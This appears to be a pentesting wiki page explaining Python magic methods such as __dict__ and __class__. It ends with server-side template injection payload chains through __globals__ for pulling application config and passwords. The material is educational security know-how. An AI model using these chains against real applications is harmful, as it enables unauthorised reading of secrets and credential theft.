# Magic Methods

## Class Methods

You can access the **methods** of a **class** using **\_\_dict\_\_.**

![](<../../.gitbook/assets/image (42).png>)

You can access the functions

![](<../../.gitbook/assets/image (45).png>)

## Object class

### **Attributes**

You can access the **attributes of an object** using **\_\_dict\_\_**. Example:

![](<../../.gitbook/assets/image (41).png>)

### Class

You can access the **class** of an object using **\_\_class\_\_**

![](<../../.gitbook/assets/image (43).png>)

You can access the **methods** of the **class** of an **object chainning** magic functions:

![](<../../.gitbook/assets/image (44).png>)

## Server Side Template Injection

Interesting functions to exploit this vulnerability

```
__init__.__globals__
__class__.__init__.__globals__
```

Inside the response search for the application (probably at the end?)

Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information:

```
__init__.__globals__[<name>].config
__init__.__globals__[<name>].__dict__
__init__.__globals__[<name>].__dict__.config
__class__.__init__.__globals__[<name>].config
__class__.__init__.__globals__[<name>].__dict__
__class__.__init__.__globals__[<name>].__dict__.config
```
